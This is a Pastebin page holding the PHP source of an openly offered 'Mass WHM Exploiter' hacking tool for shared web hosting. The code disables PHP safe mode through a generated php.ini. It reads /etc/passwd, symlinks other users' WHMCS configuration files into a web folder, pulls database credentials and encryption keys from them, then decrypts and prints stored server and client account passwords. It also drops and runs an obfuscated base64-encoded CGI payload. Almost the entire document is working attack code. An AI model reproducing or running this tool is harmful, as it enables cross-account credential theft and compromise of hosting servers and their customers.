API tools faq
paste
Advertisement
Newbie4rt-ID

Mass WHM Exploiter [ IndiShell ]

Newbie4rt-ID
Nov 19th, 2014
947
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 17.65 KB | None | 0 0
raw download clone embed print report
  1.  
  2. <?php
  3.  
  4.  
  5. $head = '
  6. <html>
  7. <head>
  8. </script>
  9. <title>--==[[ Mannu,Mass WHM exploiter By Team IndiShell]]==--</title>
  10. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  11.  
  12. <STYLE>
  13. body {
  14. font-family: Tahoma
  15. }
  16. tr {
  17. BORDER: dashed 2px #333;
  18. color: #FFF;
  19. }
  20.  
  21. .table1 {
  22. BORDER: 0px Black;
  23. BACKGROUND-COLOR: Black;
  24. color: #FFF;
  25. }
  26. .td1 {
  27. BORDER: 0px;
  28. BORDER-COLOR: #333333;
  29. font: 7pt Verdana;
  30. color: Green;
  31. }
  32. .tr1 {
  33. BORDER: 0px;
  34. BORDER-COLOR: #333333;
  35. color: #FFF;
  36. }
  37. table {
  38. BORDER: dashed 2px #333;
  39. BORDER-COLOR: #333333;
  40. BACKGROUND-COLOR: Black;
  41. color: #FFF;
  42. }
  43. input {
  44. border : solid 3px ;
  45. border-color : #333;
  46. BACKGROUND-COLOR: white;
  47. font: 11pt Verdana;
  48. color: #333;
  49. }
  50. select {
  51. BORDER-RIGHT: Black 1px solid;
  52. BORDER-TOP: #DF0000 1px solid;
  53. BORDER-LEFT: #DF0000 1px solid;
  54. BORDER-BOTTOM: Black 1px solid;
  55. BORDER-color: #FFF;
  56. BACKGROUND-COLOR: Black;
  57. font: 8pt Verdana;
  58. color: Red;
  59. }
  60. submit {
  61. BORDER: buttonhighlight 2px outset;
  62. BACKGROUND-COLOR: Black;
  63. width: 30%;
  64. color: #FFF;
  65. }
  66. textarea {
  67. border : dashed 1px #333;
  68. BACKGROUND-COLOR: Black;
  69. font: Fixedsys bold;
  70. color: #999;
  71. }
  72. BODY {
  73. SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF
  74. margin: 1px;
  75. color: Red;
  76. background-color: Black;
  77. }
  78. .main {
  79. margin : -287px 0px 0px -490px;
  80. BORDER: dashed 1px #333;
  81. BORDER-COLOR: #333333;
  82. }
  83. .tt {
  84. background-color: Black;
  85. }
  86.  
  87. A:link {
  88. COLOR: White; TEXT-DECORATION: none
  89. }
  90. A:visited {
  91. COLOR: White; TEXT-DECORATION: none
  92. }
  93. A:hover {
  94. color: Red; TEXT-DECORATION: none
  95. }
  96. A:active {
  97. color: Red; TEXT-DECORATION: none
  98. }
  99. </STYLE>
  100. <script language=\'javascript\'>
  101. function hide_div(id)
  102. {
  103. document.getElementById(id).style.display = \'none\';
  104. document.cookie=id+\'=0;\';
  105. }
  106. function show_div(id)
  107. {
  108. document.getElementById(id).style.display = \'block\';
  109. document.cookie=id+\'=1;\';
  110. }
  111. function change_divst(id)
  112. {
  113. if (document.getElementById(id).style.display == \'none\')
  114. show_div(id);
  115. else
  116. hide_div(id);
  117. }
  118. </script>'; ?>
  119. <html>
  120. <head>
  121. <?php
  122. echo $head ;
  123. echo '
  124.  
  125. <table width="100%" cellspacing="0" cellpadding="0" class="tb1" >
  126.  
  127.  
  128.  
  129. <td  align=center valign="top" rowspan="1"><font color=#ff9933 size=5 face="comic sans ms"><b>--==[[ Mannu ]]==--</font><br>
  130. <font color=#ff9933 size=5 face="comic sans ms"><b>--==[[ Auto mass </font><font color=white size=5 face="comic sans ms"><b> WHM exploiter By</font><font color=green size=5 face="comic sans ms"><b> Team IndiShell ]]==--</font> <div class="hedr">
  131.  
  132. <td height="10" align="left" class="td1"></td></tr><tr><td
  133. align="center" valign="top" rowspan="1"><font
  134. color="red" face="comic sans ms"size="1"><b>
  135. <font color=#ff9933>
  136. ####################################################</font><font color=white>#####################################################</font><font color=green>####################################################</font><br><font color=white>-==[[Greetz to]]==--</font><br><font color=#ff9933> JamvanHax0r, Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba ,Silent poison India,Magnum sniper,Atul Dwivedi,ethicalnoob Indishell,Local root indishell,Irfninja indishell,cool toad,cool shavik<br>Ebin V Thomas,Dinelson Amine,Th3 D3str0yer,SKSking,Mr. Trojan,rad paul,Godzila,mike waals,zoozoo,cyber warrior,Neo hacker ICA, Golden boy INDIA,Ketan Singh,Yash,Reborn India,Alicks,Aneesh Dogra,lovetherisk<br>Suriya Prakash,cyber gladiator,Cyber Ace,hero,Minhal Mehdi ,Raj bhai ji,cold fire hacker,Mannu, ViKi ,Budhaoo, Bhuppi,Mohit, Ffe ^_^,Ashish,Shardhanand, [#] BlackHat Cyber Crew [#] ,silent hacker and all federate of TEAM INDISHELL<br>
  137.  
  138. <font color=white>--==[[Dedicated to]]==--</font>
  139. <br># My Father and my Ex Teacher #<br><font color=white>--==[[Interface Desgined By]]==--</font><br><font color=red>GCE College ke DON :D</font><br><font color=#ff9933>
  140. ####################################################</font><font color=white>#####################################################</font><font color=green>####################################################</font>
  141.  
  142. </table>
  143. </table> <div align=center><font color=#ff9933 font size=5><marquee behavior="scroll" direction="left" scrollamount="2" scrolldelay="30" width="70%"><span class="footerlink">love happen only once.....Rest is life......</span></marquee><br></font></div><div align=center><font color=#ff9933 font size=4>--==[[ Code for India,Hack for India,Die for India ]]==--</font>
  144.  
  145. ';
  146.  
  147. ?><div align=center><font color=white font size=2>Special Thanks to Rab3oun bhai ji(coder of whm killer script)<p>
  148. <table ><td><font size=4>--==[[ </font><a href=<?php echo "?phpi";?>><font color=white size=4><u>Generate PHP.INI file</u></font></a><font color=red>|>>+++++<<|
  149. <a href=<?php echo "?wkiller";?>><font color=white size=4><u>Auto mass whm exploiter</u></font></a>|>>+++++<<|
  150. <a href=<?php echo "?safe";?>><font color=white size=4><u>safemode mass symlinker</u></font></a></font><font size=4> ]]==--</font></td></table>
  151. <?php
  152. if(isset($_GET['phpi']))
  153. {
  154. $pi=fopen("php.ini",w);
  155. $da="disable_functions=none\nsafe_mode=off";
  156. fwrite($pi,$da);
  157.  
  158. echo "<br><br><a href=php.ini><font color=white size=2><u>link to php.ini file</u></font></a>";
  159. }
  160. ?>
  161.  
  162. <?php
  163. if(isset($_GET['wkiller']))
  164. {
  165.  
  166. ?>
  167.  
  168.     <br><table width=30% >
  169. <tr>
  170. <td align=right width=50%>
  171. <br>
  172. <font color=red size=3>
  173. WHM =><br>
  174. Cpanel => <br>
  175.  
  176. <br>
  177. </td>
  178. <td align=left >
  179. <form method="post"><br>
  180.  
  181. <input type="checkbox" name="config[]" value="whm"><br>
  182. <input type="checkbox" name="config[]" value="cpanel"><br>
  183.  
  184. </td>
  185. </tr>
  186. </table><br>
  187.  
  188.  
  189.  
  190.     Bhiyu....Just click the button given below and i will exploit all the symlinked whmcs on this server very hard :|<br>
  191.     <input type=submit name=whmcs value="kerde khaat khadi >.<"><p>
  192. </form>
  193. <?php
  194. }?>
  195.  
  196. <?php
  197. set_time_limit(0);
  198. error_reporting(0);
  199. if(isset($_POST['whmcs']))
  200. {
  201.  
  202. mkdir('ICa',0777);
  203. $rr  = " <Files *.php>
  204. ForceType application/x-httpd-php4
  205. </Files>
  206. Options FollowSymLinks MultiViews Indexes ExecCGI
  207. AddType application/x-httpd-cgi .ica
  208. AddHandler cgi-script .ica
  209. AddHandler cgi-script .ica";
  210. $g = fopen('ICa/.htaccess','w');
  211. fwrite($g,$rr);
  212. $users=file("/etc/passwd");
  213. foreach($users as $user)
  214. {
  215. $str=explode(":",$user);
  216. $us=$str[0];
  217. $r="ICa/";
  218. symlink('/home/'.$us.'/public_html/whm/configuration.php',$r.$us.'..whm');
  219.                        symlink('/home/'.$us.'/public_html/whmcs/configuration.php',$r.$us.'..whmcs');
  220.                       symlink('/home/'.$us.'/public_html/support/configuration.php',$r.$us.'..supporwhmcs');
  221.                        symlink('/home/'.$us.'/public_html/whmc/WHM/configuration.php',$r.$us.'..WHM');
  222.                       symlink('/home/'.$us.'/public_html/whm/WHMCS/configuration.php',$r.$us.'..whmc');
  223.                        symlink('/home/'.$us.'/public_html/whm/whmcs/configuration.php',$r.$us.'..WHMcs');
  224.                       symlink('/home/'.$us.'/public_html/support/configuration.php',$r.$us.'..whmcsupp');
  225.                        symlink('/home/'.$us.'/public_html/clients/configuration.php',$r.$us.'..whmcs-cli');
  226.                       symlink('/home/'.$us.'/public_html/client/configuration.php',$r.$us.'..whmcs-cl');
  227.                        symlink('/home/'.$us.'/public_html/clientes/configuration.php',$r.$us.'..whmcs-CL');
  228.                       symlink('/home/'.$us.'/public_html/cliente/configuration.php',$r.$us.'..whmcs-Cl');
  229.                        symlink('/home/'.$us.'/public_html/clientsupport/configuration.php',$r.$us.'..whmcs-csup');
  230.                       symlink('/home/'.$us.'/public_html/billing/configuration.php',$r.$us.'..whmcs-bill');
  231.                       symlink('/home/'.$us.'/public_html/manage/configuration.php',$r.$us.'..whmcs-manage');
  232.                       symlink('/home/'.$us.'/public_html/order/configuration.php',$r.$us.'..whmcs-order');
  233.  
  234. }
  235.  
  236.  
  237. function decrypt ($string,$cc_encryption_hash)
  238.  
  239. {
  240. $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  241. $hash_key = _hash ($key);
  242. $hash_length = strlen ($hash_key);
  243. $string = base64_decode ($string);
  244. $tmp_iv = substr ($string, 0, $hash_length);
  245. $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  246. $iv = $out = ';
  247. $c = 0;
  248. while ($c < $hash_length)
  249. {
  250. $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  251. ++$c;
  252. }
  253. $key = $iv;
  254. $c = 0;
  255. while ($c < strlen ($string))
  256. {
  257. if (($c != 0 AND $c % $hash_length == 0))
  258. {
  259. $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  260. }
  261. $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  262. ++$c;
  263. }
  264. return $out;
  265. }
  266.  
  267. function _hash ($string)
  268. {
  269. $hash = (function_exists ('sha1')) ? sha1($string):md5($string);
  270. $out = ';
  271. $c = 0;
  272. while ($c < strlen ($hash))
  273. {
  274. $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  275. $c += 2;
  276. }
  277. return $out;
  278. }
  279. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien)
  280. {
  281.  
  282. $ar0=explode($marqueurDebutLien, $text);
  283. $ar1=explode($marqueurFinLien, $ar0[1]);
  284. $ar=trim($ar1[0]);
  285. return $ar;
  286. }
  287.  
  288. function data($lu)
  289. {
  290.     $ch = curl_init();
  291.  
  292. curl_setopt($ch, CURLOPT_URL, $lu);
  293. curl_setopt($ch, CURLOPT_HEADER, 1);
  294. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  295. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  296. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
  297. $result['EXE'] = curl_exec($ch);
  298. curl_close($ch);
  299. return $result['EXE'];
  300.    
  301. }
  302.  
  303.  $r= 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME'])."/ICa/";
  304. $re=$r;
  305. $uss=file("/etc/passwd");
  306. foreach($uss as $uer)
  307. {
  308. $whmcsc=array("..whm","..whmcs","..supporwhmcs","..WHM","..whmc","..WHMcs","..whmcsupp","..whmcs-cli","..whmcs-cl","..whmcs-CL","..whmcs-Cl","..whmcs-csup","..whmcs-bill","..whmcs-manage","..whmcs-order");
  309.  foreach($whmcsc as $whmcscon)
  310.                           {
  311.  
  312. $su=explode(":",$uer);
  313. $usess=$su[0];
  314.                             $finalurl=$re.$usess.$whmcscon;
  315.                              
  316. foreach($_POST['config'] as $check)
  317. {
  318.     if($check == "whm")
  319. {
  320.  
  321.                         $content=data($finalurl);
  322.  
  323.                              
  324.                               if($content && preg_match('/cc_encryption_hash/i',$content))
  325.                                  {
  326.  
  327. echo "<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> $usess  user's website whmcs bhaiyu xD </font></td></tr></table>";
  328.  
  329.                                   $dbu=entre2v2($content,"db_username = '","';");
  330.                                  $dbp=entre2v2($content,"db_password = '","';");
  331.                                   $dbn=entre2v2($content,"db_name = '","';");
  332.                                  $dbch=entre2v2($content,"cc_encryption_hash = '","';");
  333.                                  
  334.                                  
  335.                                
  336.                                         $dbu1=entre2v2($content,"db_username = \"","\";");
  337.                                  $dbp1=entre2v2($content,"db_password = \"","\";");
  338.                                   $dbn1=entre2v2($content,"db_name = \"","\";");
  339.                                   $dbch1=entre2v2($content,"cc_encryption_hash = \"","\";");
  340.  
  341.                                 if(!empty($dbu))
  342.                                 {
  343.                                 $uhost="localhost";
  344.                                 $duser=trim($dbu);
  345.                                 $dpass=trim($dbp);
  346.                                 $ddb=trim($dbn);
  347.                                 $cc_encryption_hash=trim($dbch);
  348.                                
  349.  
  350. if(@mysql_connect($uhost,$duser,$dpass) && mysql_select_db($ddb))
  351. {
  352.                 echo "connected";      
  353. $query = mysql_query("SELECT * FROM tblservers");
  354. echo "<table border='1' cellpadding='2' align='center'>
  355. <tr><td>Type</td><td>Active</td><td>IP Address</td><td>username</td><td>Password</td></tr>";
  356. while($v = mysql_fetch_array($query)) {
  357. echo "<tr>
  358. <td>{$v['type']}</td><td>{$v['active']}</td><td>{$v['ipaddress']}</td><td>{$v['username']}</td><td>".decrypt($v['password'],
  359. $cc_encryption_hash)."</td>
  360. </tr>";
  361. }
  362. echo "</table>";
  363. }
  364.         }
  365.         if(!empty($dbu1)){
  366.        
  367.                                                 $uhost1="localhost";
  368.                                                 $duser1=trim($dbu1);
  369.                                                 $dpass1=trim($dbp1);
  370.                                                 $ddb1=trim($dbn1);
  371.                                                 $cc_encryption_hash1=trim($dbch1);
  372.                                                 if(@mysql_connect($uhost1,$duser1,$dpass1) && mysql_select_db($ddb1))
  373. {
  374.                 echo "connected";      
  375. $query = mysql_query("SELECT * FROM tblservers");
  376. echo "<table border='1' cellpadding='2' align='center'>
  377. <tr><td>Type</td><td>Active</td><td>IP Address</td><td>username</td><td>Password</td></tr>";
  378. while($v = mysql_fetch_array($query)) {
  379. echo "<tr>
  380. <td>{$v['type']}</td><td>{$v['active']}</td><td>{$v['ipaddress']}</td><td>{$v['username']}</td><td>".decrypt($v['password'],
  381. $cc_encryption_hash1)."</td>
  382. </tr>";
  383. }
  384. echo "</table>";
  385. }
  386.        
  387.         }
  388.        
  389.        
  390. }
  391. }
  392. }
  393. /////////////////////
  394. ///    cpanel  //////
  395. /////////////////////
  396. if($check == "cpanel")
  397. {
  398.     $content=data($finalurl);
  399.  
  400.                              
  401.                               if($content && preg_match('/cc_encryption_hash/i',$content))
  402.                                  {
  403.  
  404.  
  405.  $dbu=entre2v2($content,"db_username = '","';");
  406.                                  $dbp=entre2v2($content,"db_password = '","';");
  407.                                   $dbn=entre2v2($content,"db_name = '","';");
  408.                                  $dbch=entre2v2($content,"cc_encryption_hash = '","';");
  409.                                  
  410.                                  
  411.                                
  412.                                         $dbu1=entre2v2($content,"db_username = \"","\";");
  413.                                  $dbp1=entre2v2($content,"db_password = \"","\";");
  414.                                   $dbn1=entre2v2($content,"db_name = \"","\";");
  415.                                   $dbch1=entre2v2($content,"cc_encryption_hash = \"","\";");
  416. if(!empty($dbu))
  417.                                 {
  418.                                 $uhost="localhost";
  419.                                 $duser=trim($dbu);
  420.                                 $dpass=trim($dbp);
  421.                                 $ddb=trim($dbn);
  422.                                 $cc_encryption_hash=trim($dbch);
  423.                             if(@mysql_connect($uhost,$duser,$dpass) && mysql_select_db($ddb))
  424.  
  425. {
  426.                 $query = mysql_query("SELECT * FROM tblhosting");
  427.                echo "<table border='1' cellpadding='5' align='center'><tr><td>domain</td><td>User</td><td>Pass</td><td>IP's</td></tr>";
  428.               while($v = mysql_fetch_array($query)) {
  429. echo "<tr><td>{$v['domain']}</td><td>{$v['username']}</td><td>".decrypt ($v['password'], $cc_encryption_hash)."</td><td>{$v['assignedips']}</td></tr>";
  430. }
  431. echo "</table>";
  432. }
  433. if(!empty($dbu1)){
  434.        
  435.                                                 $uhost1="localhost";
  436.                                                 $duser1=trim($dbu1);
  437.                                                 $dpass1=trim($dbp1);
  438.                                                 $ddb1=trim($dbn1);
  439.                                                 $cc_encryption_hash1=trim($dbch1);
  440.                                                 if(@mysql_connect($uhost1,$duser1,$dpass1) && mysql_select_db($ddb1))
  441. {
  442.                 $query = mysql_query("SELECT * FROM tblhosting");
  443.                echo "<table border='1' cellpadding='5' align='center'><tr><td>domain</td><td>User</td><td>Pass</td><td>IP's</td></tr>";
  444.               while($v = mysql_fetch_array($query)) {
  445. echo "<tr><td>{$v['domain']}</td><td>{$v['username']}</td><td>".decrypt ($v['password'], $cc_encryption_hash)."</td><td>{$v['assignedips']}</td></tr>";
  446. }
  447. echo "</table>";
  448. }
  449. }
  450. }
  451. }
  452. }
  453. //////////////
  454. //end
  455. //////////
  456. }
  457. }
  458. }
  459. ?>
  460.  
  461. <?php
  462. if(isset($_GET['safe']))
  463. {
  464. ?>
  465. <form method=post>
  466. <input type=submit name=passx value="cat /etc/passwd"><p></form>
  467. <?php
  468. if(isset($_POST['passx']))
  469. {
  470. ?>
  471. <textarea style="background:black;color:white" rows=20 cols=50 name=usernames ><?php $users=file("/etc/passwd");
  472. foreach($users as $user)
  473. {
  474. $str=explode("\n",$user);
  475. echo $str[0]."\n";
  476. }
  477.  
  478. ?></textarea>
  479. <?php
  480. }
  481.  
  482.  
  483.  
  484. ?>
  485. <form method=post>
  486.  
  487. <font size=5 color=white>--==[[ <input type=submit name=perl value="click to open symlinker"> ]]==--</font><br><br></form>
  488.  
  489. <?php
  490. }
  491.  
  492.  
  493.  
  494. ?>
  495. <?php
  496. if(isset($_POST['perl']))
  497. {
  498.     error_reporting(0);
  499.     $da='rVdtc9pGEP7uGf+HzZlG0Fg6sNNOzFvTYhx7xsaprTTNJB2PkA50g96iOwWwh/z27p4AEyeT4E6xQdLe7rN7u3t3j/ae8ELlfCgTnok8AvvMPEep70V86CVBLJPdnSyXiQbWSxMtEm3reSaaoMVM81DH0YfkQ8JaSy2r/eT4sue+e90HGoPXb/44P+sBszl/e9jj/Ng9hr9P3YtzaDh1cHMvUVLLNEF3vD9gwEKtsybn0+nUmR46aT7m7hWfEVaDjJe3tt6wdAIdsO7uTtt4nMVRojrfwGkcHR2V5qWy8AK6xkJ7QNq2+FjIT531NM+9ZFx4Y8HALyUdJhK7UAz4d+1cTM+GzTpPLfBDL1dCdwo9sl8sYbTUkeii7UiOYSKjSORtXgpxVOl5JIASvgTylaLoneAW7nZ3RujEHnmxjOZNcL0wjb3WUqrkLRap8TybrSRTIcehbsIwjQKU+WmU5k3YO8TPaIQCwre9SI6TJvgYushXQhV6QTpFy8jzJ1DPZuZ7YKAXuzt7fij8SVpoUvZy4VFouztTMZxIbQ/TPBC5nXuBLBRG9IsxM4bNMP0k8m+Yp5nnS41zqju/tmCIXsd5WiSBXQZ9aD4I0OYmQZQpvqynheCqGEIkI4yiWimUyGvQgZc3OFCJVY73H2d32TRYkGCSRl6HxA7jzDHaa/FnxT8knI9NuGoeRzKZVC2OWRbcKnUdi2fFMJL+DVWYT8PYV9w3xSxyj9rTycLM2jeAjuU4RsOqtbYEVEWWpbn+LmSp80hgUudvTy++i4zjj0IkwN71D+f/OMwf5xS9/t85NU5Rb3tUP5K4ZrYovo2aj4XdCvWxoGKbYHvnj4bdBvXRwW5dNJvqtj36EHdcmYy3wCXN7XFjL8GjYwvYUnF7YLObboFr9Aws7pNyBNVKf/DXnXXV//NN/9q9uei7p5fH1gLER7BeX167Vo12bdx9g+q1e3w22IfKsBiNRI43xrJ3OXD7A/fmvD945Z5aCwMNIlKCDJfKuLmW2ujl6t3NtXt1NnhlLcooXmaezBWqqCySusqf8rWTmjmk0LsfQoXUoFpqm6iqlcSLBSp/8qJC1O4ROoRAemRvlKDzGXTOn3HgmyLFf6q+9+zR7/ZJ3T76Z+O2xvGsmVRZj+1DKGbVSqNW44L2/NLbA8C17D8hnlxeXdyZoBaUKQO2USEznHlKmbIwVrtbcS8LT7hhGszBj3C4w4JbBsOxOQ07zBzLhtNk3TYd9VAOTEOpRfeLVoGRRD6xbDRiGlmXDre2yrzkC1tmjFmX1l00By60zymyabBiNqDTFRB87UO1OaF18YQ20MO8pDvmio7yGJBAhWnQYVmqNOsi1cnTZGwo0YoHSBx9SA4YUPrQCoNhYI5/zIDp9iYyEgg8FYoAchG0YCoDHTbhsI50pYW1KPnPQfn4FaswaWzBJqdaUiq4Z1RHmW7BkjqhDwY4w1Vo61k+TYYqa5l64I9MskIvo74uhrHUDbakdMo8MjCNgI+ZTEBqeGHXHk6tQVNLMQsB7NXrJ/hZT+/o6EdBN+obUS+naYidYdFUjCaWWeS+p8Q6TweH38jR3slz+msReS2bh+qcx1TnVf2IgS1oX8DufYntIXDJtzd6u0srYU6UzAziU5qJBKoX707Ozvv7wLqYTUfHGaut3iqgHAOGI2D7tyNArmYQUbBwmENyVu4huI4mXqfewt92ZU6XZ89oIWFDR6Ja+nyP0n9oFce86vz8W605a/IxKT1F2kgL9qHjSoOczPTKCfoIOg0ED9qNF3QpfTy0wYENu8Xqf/mmtMWCDg+6QZoIQHp7UC7wsrco95RnOare5wFQsdw0KKHVs8HJ5b5J2TqZ63LQWBfoLSBKlTCq5QmktIiXSardv9PhvoLvOrkYdZi1mXiLEs++3DhMe9brJnxa+6tGNg0XCD8td4kmJDgxtt4gVtuF113NbSNXjPqM0lUyfTwHu5TQfwE=';
  500.     $decryp=gzinflate(base64_decode($da));
  501. mkdir('ICa', 0777);
  502. $hope = fopen("ICa/.htaccess", 'w');
  503. $hcon= "<Files *.php>
  504. ForceType application/x-httpd-php4
  505. </Files>
  506. Options FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .ica\nAddHandler cgi-script .ica\nAddHandler cgi-script .ica
  507. ";
  508. fwrite ( $hope, $hcon ) ;
  509.  
  510. $pelfile = fopen("ICa/in.ica" ,"w");
  511. fwrite ($pelfile,$decryp);
  512. chmod("ICa/in.ica",0755);
  513. echo "<iframe src=ICa/in.ica width=50% height=70% ></iframe><br><br> ";
  514.  
  515. }
  516.  
  517. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!